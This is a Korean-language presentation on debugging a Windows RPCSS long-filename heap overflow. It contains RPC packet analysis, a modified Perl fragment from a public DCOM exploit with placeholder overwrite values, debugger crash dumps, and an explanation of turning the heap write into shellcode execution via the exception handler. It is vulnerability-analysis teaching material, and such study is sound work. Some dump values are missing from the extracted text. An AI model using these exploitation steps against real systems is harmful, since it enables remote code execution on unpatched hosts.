디버거를 이용한 소프트웨어 오류 진단 시큐아이닷컴 CERT 오정욱
Fuzz vs. Reverse Engineering 대부분 소스가 제공되지 않는 소프트웨어의 오류 는 Fuzz 테스트를 통해서 이루어진다. SPIKE 등의 Fuzz 테스트용 도구들이 존재한다. 리버스 엔지니어링을 통한 버그 발견은 엄청난 투 자에 비해 효과가 적다.
리버스 엔지니어링의 위치 리버스 엔지니어링은 실제 버그를 발견하는 데 에 활용 되기 힘들다. Fuzz 테스트 이후의 실제 exploiting 을 위한 코 드 분석에 활용한다. 리버스 엔지니어링을 제대로 하지 못하 면 exploit 코드 작성은 불가능하다. Fuzz 테스트가 특별한 기술을 요하지 않는 데 에 반해 더 전문적인 지식을 요구한다.
예제 Microsoft Windows RPCSS Long Filename Hea p Overflow 최근 RPC 와 DCOM 부분에서 많은 버그들이 리포 팅 되고 있다
버그를 찾는 방법 이 버그를 찾은 방법은 아마도 Fuzz 테스트였 을 것이다. 먼저 정상적인 RPCSS 패킷을 모니터링 한후 해당 패킷 포맷을 분석하고 패킷의 가변적인 부분의 길이를 달리하면서 버퍼 오버 플로우 등의 버그를 테스트한다. 이러한 방법으로 윈도우즈 계열에서 리포팅 된 주 요한 버그들을 실제로 찾을 수 있다.
사용한 exploit 예제 exploit 은 H D Moore 의 dcom2_closer.pl 이 라는 exploit 으로 한글판에 대해서는 명령 실행까 지는 되지 않고 크래쉬만 시킨다.
RPC Bind 패킷 05 //version 00 //Version(Minor) 0b //Packet Type(Bind) 03 //Packet Flags //Data Representation //Flag Length //Auth Length 7f //Call ID d0 16 d0 16 //Alloc Hint //Context ID //Opnum 01 ff //max_tsize //max_rsize //assoc_gid a //num_elements //context_id //num_syntaxes c d 88 8a //abstract RUUID eb 1c c9 11 9f e b
디버깅 대상 확인 먼저 RPC Bind 패킷을 분 석하면 abstract RUUID 가 있다. 이 RUUID 로 어 떠한 Object 나 Interface 에 바인딩하는지 알 수 있 다. OLE Viewer 로 대상 확인 이 가능하다.
코드 수정 테스트를 위해서 다음과 같이 코드를 수정하여 테스트한다. my $shellcode = ("\x90" x 3500); substr($shellcode, 0, 512, $payload); # the actual payload #substr($shellcode, 534, 4, pack("L", 0x22eb22eb)); # trigger except ion dereferencing and jmp short 36 substr($shellcode, 534, 4, pack("L", 0xBBBBBBBB)); # trigger excep tion dereferencing and jmp short 36 #substr($shellcode, 538, 4, pack("L", 0x7c54144c)); # overwrite the exception handler with shellcode location substr($shellcode, 538, 4, pack("L", 0xAAAAAAAA)); # overwrite the exception handler with shellcode location
첫번째 크래쉬 스택의 내용을 덤프한다. :stack FrameEBP RetEIP Symbol 00CEF D2E NTDLL!PAGE CEF7CC 7613B7FF rpcss!.text+00015D2E 00CEF rpcss!.text+0001A7FF 00CEF F50 rpcss!.text CEF AD7 rpcrt4!.text+00046F50 00CEFD E rpcrt4!.orpc+6AD7 00CEFD rpcrt4!.orpc+647E 00CEFD9C 786F7EE1 rpcrt4!.text CEFDF4 786F7DB5 rpcrt4!.text+6EE1 00CEFE E98 rpcrt4!.text+6DB5 00CEFE A8 rpcrt4!.text+00015E98 00CEFE A03 rpcrt4!.text A8 00CEFE rpcrt4!.text+00015A D28 89ABCDEF rpcrt4!.text
map32 섹션 테이블을 덤프한다. 가끔 바이너리의 베이스 주소와 실제 할당된 베이스 주소가 다른 경우가 있으므로 이를 확인하기 위해서이다. 만약 두 주소가 다르다면 디스어세블러와 디버거 사이에서 주소를 적절 히 계산해서 사용해야 한다. :map32 rpcrt4 Owner Obj Name Obj# Address Size Type rpcrt4.text B:786F D1A6 CODE RO rpcrt4.orpc B:7874F CODE RO rpcrt4.data : C0 IDATA RW rpcrt4.rsrc : E0 IDATA RO rpcrt4.reloc :7875A DCE IDATA RO
U eip 현재 실행 위치 디스어셈블 :u eip 001B:77FCB850 MOV [EDX],ECX DS:AAAAAAAA=FFFFFFFF 001B:77FCB852 MOV [EAX+04],ECX 001B:77FCB855 PUSH ESI 001B:77FCB856 MOV ESI,[EBP-34] 001B:77FCB859 PUSH ESI 001B:77FCB85A CALL 77F835A9 001B:77FCB85F MOV EAX,[EBP-30] 001B:77FCB862 ADD [ESI+28],EAX
r -d 레지스터를 덤프한다. :r -d CS:EIP=001B:77FCB850 SS:ESP=0023:00CEF6E0 EAX=000A2410 EBX= ECX=000B2FD8 EDX=AAAAAAAA ESI=000B2FD0 EDI= EBP=00CEF770 EFL= DS=0023 ES=0023 FS=0038 GS=0000
프로그램 크래쉬 다음과 같이 프로그램이 크래쉬 되었다.
디버거 메시지 윈도우 보다 더 자세한 메시지를 출력해 준다. Unhandled Exception hit in svchost.exe (Win32StartAddress: 78701C55) C:\WINNT\system32\svchost -k rpcss first, enter !exr 00CEF3F8 for the exception record next, enter !cxr 00CEF414 for the context then !kb to get the faulting stack
Ida 를 사용한 디스어셈블
두번째 크래쉬 Break due to UnhandledException NTSTATUS=STATUS_ACCESS_VIOLATION 001B:77FCB3F5 MOV [ECX],EAX DS:AAAAAAAA=FFFFFFFF
stack :stack FrameEBP RetEIP Symbol 0129FE FB19 NTDLL!PAGE+03F5 0129FE F9 rpcrt4!.text+0001EB FF D5E rpcrt4!.text F9 0129FFA C6D rpcrt4!.text+00025D5E 0129FFB4 77E587DD rpcrt4!.text+00010C6D 0129FFEC KERNEL32!GetModuleFileNameA+01D1
u eip :u eip 001B:77FCB3F5 MOV [ECX],EAX DS:AAAAAAAA=FFFFFFFF 001B:77FCB3F7 MOV [EAX+04],ECX 001B:77FCB3FA MOV AL,[ESI+05] 001B:77FCB3FD MOV [EBP-3C],AL 001B:77FCB400 MOVZX EDX,WORD PTR [ESI] 001B:77FCB403 MOV ECX,[EBP-5C] 001B:77FCB406 SUB [ECX+28],EDX 001B:77FCB409 MOV [EBP-28],ESI
r -d :r -d CS:EIP=001B:77FCB3F5 SS:ESP=0023:0129FC70 EAX=BBBBBBBB EBX= ECX=AAAAAAAA EDX=000A2408 ESI=000A2408 EDI= EBP=0129FE08 EFL= DS=0023 ES=0023 FS=0038 GS=0000
프로그램 크래쉬 다음과 같이 프로그램이 크래쉬 되었다.
디버거 메시지 Unhandled Exception hit in svchost.exe (Win32StartAddress: 00000CEB) C:\WINNT\system32\svchost -k rpcss first, enter !exr 0129F988 for the exception record next, enter !cxr 0129F9A4 for the context then !kb to get the faulting stack
Ida 를 사용한 디스어셈블
데이타 쓰기 두번째 에러 발생시 [ECX] 에 EAX 의 값을 넣게 된 다. 즉 AAAAAAAA 의 메모리 주소에 BBBBBBBB 이라는 값을 쓰게 된다. AAAAAAAA 를 익셉션 핸들러등의 주소로 주고 BBBBBBBB 를 쉘코드의 주소로 주면 원하 는 쉘코드의 실행이 가능해지게 된다.
힙메모리의 구조 테스트 프로그램 // test_mem.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include int main(int argc, char* argv[]) { printf("Hello World!\n"); char *x; x=(char *)malloc(20); return 0; }
실행 결과 x=(char *)malloc(20); x=0x FF / / /FD FD FD FD 羲羲 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD 袴袴袴袴袴袴袴袴 CD CD CD CD FD FD FD FD 0D F0 AD BA 0D F0 AD BA 袴袴羲羲. 濟.. 濟 AB AB AB AB AB AB AB AB カカカカ B EE FE C C I..... 澱
해당 메모리 블록 덤프
이전 메모리 블록 추적